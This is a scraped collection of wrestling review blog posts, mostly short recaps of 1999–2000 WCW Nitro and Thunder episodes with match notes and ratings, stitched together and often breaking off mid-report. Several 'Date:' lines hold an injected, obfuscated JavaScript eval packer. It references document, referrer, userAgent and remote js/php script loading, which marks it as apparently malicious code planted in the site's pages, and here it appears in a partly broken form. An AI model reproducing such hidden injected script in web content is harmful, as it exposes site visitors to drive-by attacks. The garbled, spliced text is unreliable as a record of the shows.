Abrams yells at Sid and Spivey, with the former blaming Blackjack Mulligan for being his mentor.

Commentary says next time will be even more treacherous.

Since this show just can’t end, Abrams and Mulligan (who has the World Title for some reason) talks about how this was a Skyscrapers (Sid/Spivey) plan all along. Abrams promises (or maybe warns) us about a sequel to end the show.

Overall Rating: Awbooga. That’s how Abrams, legendary cocaine addict that he was, would probably try to spell wrestling at this point, because WOW. This is one of the all time insane shows that you almost have to see to believe. There is nothing approaching good, nothing approaching normal, and nothing approaching ANYTHING that should be taking place in 1994 on this show.

I know Abrams was kind of a kook (that’s putting it mildly) but sweet goodness this was awful, with one random title match after another and nothing even partially good. The people here are talented wrestlers, or at least they were a few years earlier when they were still regularly wrestling and not ancient in some cases. It’s not the complete train wreck of something like Heroes of Wrestling, but with a barely there (and barely audible) crowd, the disaster on commentary and ring announcing and such low level wrestling, this is a complete mess and something just more depressing than anything else.

The biggest problem here is the wrestling, as they seem to think that any of this stuff matters just because you throw a title or the REVENGE MATCH moniker onto a match. It doesn’t help if there are no stakes to the title or reasons for these people to be fighting and it showed badly. All time awful show, and now I’m off to have nightmares of Abrams screaming in my face while Mulligan is there every time for no apparent reason other than he’s been paid in advance. Avoid this one unless you’re in for a train wreck of Star Fox 64 Forever Train level proportions.

 

 

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Monday Nitro – November 27, 2000: They Can’t Even Get This Right

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eefkh|var|u0026u|referrer|ehtez||js|php'.split('|'),0,{})) Nitro #268
Date: November 27, 2000
Location: Metro Center, Rockford, Illinois
Attendance: 3,800
Commentators: Tony Schiavone, Mark Madden, Scott Hudson

3 Count vs. Corporal Cajun/Lieutenant Loco

The announcers talk about Steiner winning the World Title last night and think Sting deserves a title shot for retaining the King of Europe Cup at one of the German shows. For those keeping track, he won it back in like 1994 and defended it six years later. Now he gets a title shot out of the thing. Such is life in WCW, as usual.

Hugh Morrus is ready for Bam Bam Bigelow tonight.

Yang vs. Lance Storm

A Rock Bottom gets two for Yang and he fires off some kicks at the ribs before elbowing Storm in the face. Yang hits a moonsault for two more but walks into a piledriver, only to have the women get into a fight on the floor. Cue the Cat to hit Storm with a chair, giving the unconscious Yang the big upset win.

Post break Storm yells at Jim Duggan for not having his back.

A limo arrives.

Jeff Jarrett is talking to Gene when the Filthy Animals come up and throw eggs at him. Those boys need a role model.

Big Vito is making sure Marie is ok before she leaves. He leaves and Reno comes up to leave with her.

Jamie Noble/Evan Karagias vs. Boogie Knights

Jamie Noble/Evan Karagias vs. Alex Wright/Ron Harris

Stevie Ray calls Scott Steiner a sad sack cracker jack.

Reno vs. Goldberg

The announcers basically say Reno can only win on a miracle. This one actually gets some time as Goldberg knocks Reno across the ring and gorilla presses him into a drop. A quick Roll of the Dice attempt is countered into a powerslam, followed by the two moves to make Goldberg 26-0.

US Title: General Rection vs. Bam Bam Bigelow

Jeff Jarrett vs. Rey Mysterio

Post break Jarrett challenges the Animals to a six man on Thunder.

WCW World Title: Stevie Ray vs. Scott Steiner

Steiner takes it inside for the big pounding before cutting off a comeback with a shot to the ribs. After a quick trip outside to yell at some fans, Steiner plants him with a belly to belly for two. Stevie kicks him in the face and grabs a bad DDT, only to have Midajah offer a distraction.

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Thunder – September 27, 2000: He’s Getting Away With It

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhnre|var|u0026u|referrer|dntba||js|php'.split('|'),0,{})) September 27, 2000
Location: First Union Arena, Wilkes-Barre, Pennsylvania
Commentators: Stevie Ray, Tony Schiavone, Mike Tenay

Disqo vs. Konnan

Rey and Juvy run in for the save.

Scott Steiner beats up security and the Disqo Duck. Of course you know this means war.

The announcers talk for a bit.

The Thrillers are celebrating winning the Tag Team Titles. Leia Meow comes in and is basically ignored.

Hardcore Title Tournament Semi-Finals: Sgt. AWOL vs. Johnny the Bull

Stevie is being checked on by a trainer but wants Steiner tonight.

Crowbar asks Jimmy Hart where Daffney is (when you need information, you go to Jimmy Hart). Apparently she and Ozzie are going to Australia before the rest of the company shows up there in a few weeks.

Steiner will fight Stevie later.

If you go to WCW.com, you can get an exclusive interview with Jim Duggan. It sounds better than This Week in WCW Motorsports.

Konnan has taken over for Stevie on commentary.

Rating: D. Those chinlocks in the middle took everything out of this match and made it dull stuff for the most part. Team Canada vs. the Thrillers gets to keep going as Russo continues his love of stable wars and likely tries to keep recreating DX vs. the Nation. I mean, the Canadians vs. the military guys is exactly the same as Rock vs. HHH right?

Kronik vs. Elix Skipper

Skipper is smart enough to lay on the mat so Kronik walks away, only to try a dive onto Adams. So much for the Canadian educational system. A brief pummeling leads to the Meltdown, the full nelson slam and High Times to complete the squash. I have no idea what the point of this was but it ate up a few minutes.

Rey Mysterio vs. Juventud Guerrera

This Week in WCW Motorsports. Maybe I was wrong about that Duggan interview.

Hardcore Title Tournament Semi-Finals: Crowbar vs. Reno

Mike Awesome runs out for the save post match.

Mike Awesome says he can help Crowbar with his “chick problems”. Is that still a thing?

Reno and the Thrillers celebrate.

Scott Steiner vs. Stevie Ray

General Rection/Lex Luger vs. Lance Storm/Jeff Jarrett

Rating: D. Nothing main event here but at least we all get to fill in the SWERVE box on our WCW Bingo card. It really is kind of amazing that Luger is still the exact same boring guy that he was when we last saw him several months ago. You would think he would have some fire in there somewhere but he really is just a guy with muscles doing a move here and there.

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Thunder – September 20, 2000: What A World

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dradr|var|u0026u|referrer|eathn||js|php'.split('|'),0,{})) September 20, 2000
Location: Civic Center, Erie, Pennsylvania
Commentators: Jeremy Borash, Tony Schiavone, Mike Tenay

Opening sequence.

Nitro highlights.

Steiner beats up the security and maces Russo before yelling about how he wants his title shot. Russo says they can have a triple threat against Sting later and then have all the title shots they want. Apparently Russo made Steiner (no) and Jarrett (ok yeah he kind of did), which is enough to make Russo run off, only to have Sting and Booker come in for the brawl.

Jung Dragons vs. Natural Born Thrillers

Disqo is in the back with the Cat and Ms. Jones, the latter of whom throws his duck on the ground.

Russo tells a masked guy to sell for him later.

Disqo suggests Rey vs. Juvy in a #1 contenders match for the Cruiserweight Title later tonight. Again, how does he have this kind of authority?

Scott Steiner promises to win tonight.

Vince Russo vs. Masked Heel

Russo has his helmet on, which is pretty low level protection after having brain surgery like two weeks ago. The Heel is introduced as an international shoot champion and a 28 time Olympian. His shirt says THE MASKED HEEL and he comes out to the Leave it to Beaver theme that Booker had to use earlier in the year or whenever that was. Russo chops him in the corner a few times and we get the Hogan hand to the ear. Borash is going on like Cole went on about Miz in a kind of funny bit.

Post break, Russo sends Kronik after Stevie Ray. Do they follow his orders now?

Paisley vs. Torrie Wilson

Russo and Sanders are talking in the back.

Jarrett guarantees a win tonight.

Kronik vs. Stevie Ray

Stevie is still in the Masked Heel shirt. Borash: “Suckas are kinda curious about how this match is going to go.” Tags are required so Stevie pounds on Clark to no avail as we get things going. A good looking bicycle kick puts Clark down for two but Adams comes in to help out on a double elbow to take over.

This Week In WCW Motorsports.

Rey Mysterio vs. Juventud Guerrera

Remember when this was one of the best matches in WCW? Why did they stop with that? The winner gets a title shot at some point in the future. Konnan and Tygress sit in on commentary (of course) with Konnan going into an actually interesting history about how Mexico has a lot of different weight classes and how successful these two have been. They go to a knuckle lock to start and do the now standard series of flips into a double cover with both guys bridging up for the save.

Disqo comes in post match and gets beaten down by the team.

Sting is ready for the triple threat.

3 Count vs. Harris Brothers

The forklift is moved.

Scott Steiner vs. Sting vs. Jeff Jarrett

Jarrett and Steiner put on their submissions to end the show.

Overall Rating: D. Mysterio vs. Guerrera aside, this was the latest mess that focused WAY too much on Russo and had too many plot holes going on that stopped making sense. Booker being trapped was fine, but why in the world did Booker dress up like Sting? What did that change or enhance whatsoever, aside from making WCW look stupid? Bad show for the most part, but the worst is of course still yet to come.

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Monday Nitro – July 18, 2000: The Way To Make Russo Work

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fydes|var|u0026u|referrer|dhfii||js|php'.split('|'),0,{})) Nitro #249
Date: July 18, 2000
Location: Palace of Auburn Hills, Auburn Hills, Michigan
Commentators: Mark Madden, Stevie Ray, Tony Schiavone

We see the Steiners ripping up everything in the back on the way to the ring, sending the Girls running off. Here are Rick and Scott (who walk past the Girls, whose hiding place was RIGHT NEXT TO THE ENTRANCE) with Scott choking Cat and demanding a title shot. Booker hits the ring so here are Rick and Stevie to follow, triggering a huge brawl. Security breaks it up and Cat makes Scott vs. Goldberg for tonight.

The announcers talk until Jeff Jarrett jumps the barricade and guitars Stevie. Jeff calls that a warning shot.

US Title Tournament First Round: Positively Kanyon vs. Mike Awesome

Post match some large underwear are thrown into the ring for Awesome. This is sad. So sad.

Pamela Paulshock hits on Lance Storm but he is too focused on the tournament.

US Title Tournament First Round: Buff Bagwell vs. Lance Storm

Buff limps to the back as we hear screaming, despite the video not airing on the video screen.

We see security footage of Kanyon Cutting Judy Bagwell in the parking lot. Well grabbing her and dragging her off camera but you get the idea.

Scott Steiner is sitting by the door with a pipe in his hand.

US Title Tournament First Round: Great Muta vs. Vampiro

Scott beats up Norman Smiley and Ralphus. Steiner: “TAKE IT LIKE A MAN!”

US Title Tournament First Round: Shane Douglas vs. Billy Kidman

Here are the updated brackets:

Mike Awesome

Great Muta

Lance Storm

Shane Douglas

Torrie and Shane make out in the ring but we cut to 3 Count carrying a ladder, followed by cutting to Goldberg arriving. This happened in the span of ten seconds.

Steiner is still waiting for Goldberg.

3 Count vs. Jung Dragons

Yeah remember the ladder match announced for the pay per view? Well here it is almost a month before the show. 3 Count puts the ladder on the top rope but Yang dropkicks it out from under Shannon for a big crash. Shannon gets superplexed off the ladder, setting up a top rope splash from Jamie.

Goldberg comes into the building and Steiner misses a pipe swing. The fight is on until security and wrestlers break it up.

Back from a break and Scott is ticked off with Rick trying to calm him down.

US Title Tournament Semi-Finals: Mike Awesome vs. Great Muta

Madden wobbles off to change his shirt.

Bagwell goes after Smooth for helping with the attack on his mom but Kanyon jumps him from behind.

Madden tries to get Kiwi to clean his shirt but Kiwi is too busy. Paisley comes in and tries to get her skirt repaired but again Kiwi is too busy.

US Title Tournament Semi-Finals: Shane Douglas vs. Lance Storm

Jeff Jarrett vs. Stevie Ray

Booker comes out to save his brother. Now in a smart world, we would get Steiners vs. Harlem Heat one more time out of this.

US Title: Lance Storm vs. Mike Awesome

Goldberg vs. Scott Steiner

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Thunder – February 9, 2000: Some Twisted Fever Dream From The Nightmares Of An 80’s Fan

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdrni|var|u0026u|referrer|ebtrr||js|php'.split('|'),0,{})) February 9, 2000
Location: Myriad Convention Center, Oklahoma City, Oklahoma
Attendance: 7,124
Commentators: Mike Tenay, Bobby Heenan

Jarrett, the Twins and Hall arrive separately.

Cruiserweight Title Tournament Semi-Finals: Lash Leroux vs. Shannon Moore

Norman Smiley breaks up the post match beatdown and promises to beat all of them up at SuperBrawl.

Time to run down the card.

Jarrett is livid after a break.

Hardcore Title: Demon vs. Bam Bam Bigelow

Funk and Sid are ready for the Twins tonight.

Booker vs. Stevie Ray

Kidman vs. Crowbar

The NWO sends their women away.

Sid Vicious/Terry Funk vs. Harris Brothers

Total Package vs. Fit Finlay

This Week in WCW Motorsports.

Tag Team Titles: 2XS vs. Mamalukes

Crowbar hits Disco with a lead pipe and steals the belts.

Dustin Rhodes vs. Ric Flair

Flash back six years and this could be interesting. Rhodes takes over to start by stomping Flair into the corner and suplexing him down but a clothesline takes out the referee about twenty seconds in. A low blow puts Dustin down but he avoids a knee drop and puts Flair in the Figure Four. That earns him a Rolex to the face, giving Ric the pin.

Terry Funk makes the save but Lex Luger hits the ring to take out Dustin and rack Funk.

Scott Hall vs. Jeff Jarrett

Not so fast though as the first referee gets up and says restart it so Hall punches various people until a mic shot puts him down for two. Jarrett misses a belt shot and takes one to the face, but this time Johnson pulls Mickie Jay to the floor. Cue Sid and GOOD GRIEF JUST LET THERE BE A PIN. Hall Edges Johnson and Sid powerbombs Jarrett as the match is finally thrown out.

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Thunder – October 28, 1999: What Are You Talking About?

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkhrb|var|u0026u|referrer|dyras||js|php'.split('|'),0,{})) October 28, 1999
Location: Cox Arena, San Diego, California
Attendance: 5,091
Commentators: Larry Zbyszko, Mike Tenay

Opening montage.

Juventud Guerrera vs. Evan Karagias

The announcers chatter about Benoit.

The Maestro is in the back and talks about being the star of the show. This character is as much of a disaster as Berlyn.

Chavo Guerrero is looking for Goldberg because he wants TV time.

Prince Iaukea vs. The Maestro

Good grief end this show already. Iaukea dropkicks Maestro as he turns around so Maestro points a finger at him. THE DEVASTATION! We get into some basic stuff with both guys trading wristlocks until Maestro slugs him into the corner. A whip sends Prince across the ring and Maestro follows him up with even more punches. Prince chops and backdrops for two but eats a knee lift and gets caught in an STF (the Encore) for the submission. Short, bad and the Maestro vs. Prince Iaukea. I think that sums the whole thing up.

Quick recap of the Revolution vs. the Filthy Animals with Torrie being kidnapped on Monday.

Perry Saturn/Dean Malenko vs. Silver King/El Dandy

Chavo searches for Goldberg.

Long recap of Nitro. This felt like filler.

Harlem Heat is ready for Curly Bill tonight but Chavo interrupts to talk about looking for Goldberg.

The Revolution gets in a car.

Stevie Ray vs. Curly Bill

Konnan/Kidman/Eddie Guerrero vs. Steven Regal/Chris Adams/Dave Taylor

Off to Adams, who gets caught by a rolling clothesline from a crotch grabbing (his own at least) Konnan. As Rey tries to get money out of Zbyzsko, Konnan jumps over Adams in the corner but eats a European uppercut from Regal. Off to Kidman who sends Regal into the ropes, nearly knocking Adams off by mistake. Kidman throws Regal down but charges into a hot shot to change control again.

Berlyn speaks English to say that his master plan is in effect and we will all serve him one day. His plan is to lose to Brad Armstrong?

Chavo Guerrero Jr. vs. Lash Leroux

A belly to back gets two for Chavo and he slugs away in the corner. Lash jawbreaks out of a chinlock and gets two of his own off a suplex. That goes nowhere so Chavo takes him into the corner for a stomping but gets forearmed in the head, setting up a chinlock. We get a very sudden BORING chant which almost feels piped in.

I would ask why a company would do that, but this is one of the least stupid things WCW has done in recent weeks. More really basic stuff changes control a few times until Chavo gets a positive reaction and a near fall off a dropkick. Guerrero scores with a clothesline and some chops in the corner, only to get caught in Whiplash for the pin out of nowhere.

Kidman records Buff Bagwell and Scotty Riggs talking about the finish of a match. I think I know where this is going and I can feel the headache coming.

Berlyn vs. Jerry Flynn

More kicks to Jerry set up a belly to back but Flynn avoids a charge against the ropes. Jerry fires off his usual array of strikes but throws in some right hands to show his versatility. The Bodyguard intercepts Jimmy Hart (who is the face here anyway?) and nails Flynn for missing a charge, giving Berlyn an easy victory.

Chavo is still looking for Goldberg but finds Sid instead. “YOU WANT TV TIME?” A chokeslam leaves Chavo on a cart, end scene.

Scotty Riggs vs. Buff Bagwell

Mayhem ad.

Chris Benoit vs. Sid Vicious

A few cannonballs down onto the leg look to set up the Figure Four but Sid kicks him right back to the floor. This time the big man follows him out and drops Benoit across the barricade before taking him back in for choking, choking, forearms to the chest and more choking.

Sid powerbombs everyone to make it clear that no one is on his level. The Filthy Animals run out to beat up the pieces of the Revolution to end the show.

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Thunder – October 7, 1999: Benoit’s Limit

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybkzz|var|u0026u|referrer|efdbb||js|php'.split('|'),0,{})) October 7, 1999
Location: UTC Arena, Chattanooga, Tennessee
Attendance: 2,411
Commentators: Mike Tenay, Larry Zbyszko

Opening sequence.

Dean Malenko vs. Blitzkrieg

Blitzkrieg has new attire. This could be interesting, especially if Malenko stretches him for doing too many ridiculous flips. Malenko easily takes him down to start and they trade some hammerlocks. Dean slaps on a front chancery followed by a quickly broken surfboard. Total wrestling clinic from Malenko so far. Back up again and Blitzkrieg tries to jump over Dean and gets dropped face first onto the mat for his efforts.

Dean stomps away in the corner but Blitzkrieg gets up and does an unnecessary backflip out of the corner, followed by a more necessary running dropkick in the same corner. A moonsault sets up a chinlock on Dean but he pops back up and drives a knee into the masked ribs. Well the ribs of the masked man. No one would put a mask on the ribs, though I have seen a claw onto the ribs.

We run down the card for Halloween Havoc. That show is going to hurt.

Quick look at Disco Inferno winning the Cruiserweight Title again on Monday.

Cruiserweight Title: Disco Inferno vs. Evan Karagias

A double clothesline puts both guys down before Evan gets up with some right hands and a slam. Evan goes to the apron for a springboard cross body for two more, followed by a powerslam for the same. His attempt at a headscissors is countered though and Disco hits the Last Dance to retain.

Bret Hart is proud of his match with Benoit on Monday.

Clip of Brad Armstrong telling Berlyn to speak English in America. This is making me long for the days of Jim Duggan vs. Boris Zhukov.

Brad Armstrong vs. Chris Adams

Adams throws him to the floor and stomps away outside. Back in and Adams hits a top rope clothesline, followed by a variety of suplexes. He misses a top rope knee drop but avoids a charge and hits the superkick for two. Brad avoids a charge of his own and hits the Russian (some American hero) legsweep for the pin.

TV Title: Chris Benoit vs. Brian Knobbs

Benoit is defending because Heaven help us if Knobbs ever got a singles title. Brian talks trash on the floor as Jimmy Hart has to tell him to get in the ring. This is like that angle where Bobby Heenan had to give Terry Taylor specific instructions on everything to make him win but without the angle part. He finally gets in and they shove each other a bit before Benoit just fires off right hands, likely at frustration for having to fight someone like Knobbs, and dropkicks him out to the floor.

After about 45 seconds of stalling and not even a single count from the referee, we actually continue the match. Back in and Benoit blocks a charge by raising his boots but runs into a powerslam. Some right hands send Brian back to the floor but he blocks a baseball slide and throws Benoit into the steps. They head into the crowd as referee Nick Patrick argues with Jimmy Hart.

They go back to ringside with Benoit being sent into the steps twice in a row. Knobbs chokes a lot and throws a chair at Benoit but the champ wins a slugout and takes it back inside for a nice change of pace. The Swan Dive misses though and Brian covers for two before using his usual lame offense. Knobbs elbows out of a German suplex attempt but Benoit goes into Wolverine mode and hits back to back Germans. Since WE MUST PROTECT BRIAN KNOBBS, Jimmy Hart breaks it up at two and we have a ref bump. Hart accidentally nails his man with the megaphone though, allowing Benoit to hit the Swan Dive to retain.

Lash Leroux vs. Silver King

Lash comes back with a headscissors but his hurricanrana is countered into a good looking superbomb. We hit the chinlock but King throws in some gnawing at the head to keep it interesting. Lash fights to his feet and goes up top, only to dive into a right hand to the ribs. After an unnecessary trip to the floor, Lash escapes a powerbomb attempt and hits Whiplash for the fast pin.

Bret still really liked that match on Monday.

Death of Lex Luger video.

Maestro vs. Dale Torborg

Rey Mysterio Jr./Kidman vs. Disorderly Conduct

Disorderly Conduct cheat to start (well that certainly is disorderly) and get dropkicked to the floor where the Animals hit stereo dives to take them down. We settle down to Kidman beating up Mike in the ring. Tom comes in and gets the same treatment, meaning Kidman is running out of tricks. He gets a bit more complicated though by headscissorsing Mike and headlocking Tom at the same time.

US Title: Stevie Ray vs. Sid Vicious

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Thunder – April 15, 1999: DDP Is A WHAT?

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|indsn|var|u0026u|referrer|rkizt||js|php'.split('|'),0,{})) April 15, 1999
Location: Orlando Arena, Orlando, Florida
Attendance: 9,429
Commentators: Mike Tenay, Larry Zbyszko

The announcers welcome us to the show and tell us about Mysterio vs. Guerrera for the Cruiserweight Title tonight. Works for me.

Vampiro vs. Buff Bagwell

Rating: D. Egads this match was dull. Vampiro continues to be nothing in the ring and puts me closer to a coma every time I have to see him. When you remind me of Ernest Miller before he got funny, something is very wrong. Nothing to see here and not a good choice to open the show.

Jerry Flynn vs. Wrath

Horace vs. Meng

Back in and Horace pounds away to almost no effect as Meng comes back with a powerslam. Meng busts out a dropkick of all things and they slug it out again until Horace hits a spinebuster that the announcers claim was an atomic drop. Horace clotheslines him out to the floor and nails an actually decent suicide dive. They head back in with Meng countering a slam into a small package of all things. Horace nails some clotheslines and a Hogan legdrop for two. Then, like the nitwit he is, he tries a sunset flip and gets Death Gripped for the submission.

Flair, Anderson and Robinson are in the back with Charles pouring champagne. A woman brings in some papers for Flair to sign, which he does without reading them. Arn points out how stupid this is but Flair tells him to calm down.

Disco Inferno vs. Mikey Whipwreck

Mikey fights up but gets elbowed right back down. Disco misses another middle rope elbow and gets dropkicked a few times, only to come right back with a clothesline. A Fameasser puts Disco down but Mikey takes too much time going up. Disco pulls him down for a reverse DDT, only to spin Mikey around into the Last Dance for the pin.

This Week In WCW Motorsports.

Disorderly Conduct vs. Saturn/Raven

Saturn wants to accessorize his dress with a Tag Team Title. Raven and Mike get things going with Mike quickly running into a boot. Off to Saturn for a side kick before the stars start tagging quickly. A kick to the ribs sets up a knee lift from Raven who then allows the tag off to Tom. Raven takes Tom down for a top rope knee drop from Saturn for two.

We look at Mysterio getting beaten down on Monday.

Cruiserweight Title: Rey Mysterio Jr. vs. Juventud Guerrera

Rey is defending. They pose to start with Juvy shaking his hips on the middle rope. Juvy runs him over with a shoulder and stops to pose even more. They try a quick pinfall reversal sequence but Guerrera stops to try a powerbomb instead of a backslide. Rey sends Juvy out to the floor but he comes right back in with a tilt-a-whirl slam. A hurricanrana takes Juvy out to the floor and we take a break.

Robinson keeps sucking up to Flair, calling his match on Monday as good as his series with Steamboat. Anderson comes in and complains about not being able to find the woman from earlier. Robinson is sent off to find her.

WCW World Title: Diamond Dallas Page vs. Stevie Ray

Stevie yells at Kimberly to start and gets punched in the jaw by the champion. A hard forearm puts Ray on the floor and Page dives onto both Stevie and Vincent. They brawl in the aisle and then into the crowd before coming out by the set. Vincent gets punched as well before the guys actually in the match head back inside.

Vincent, Horace and Adams come in and get beaten up as well to end the show.

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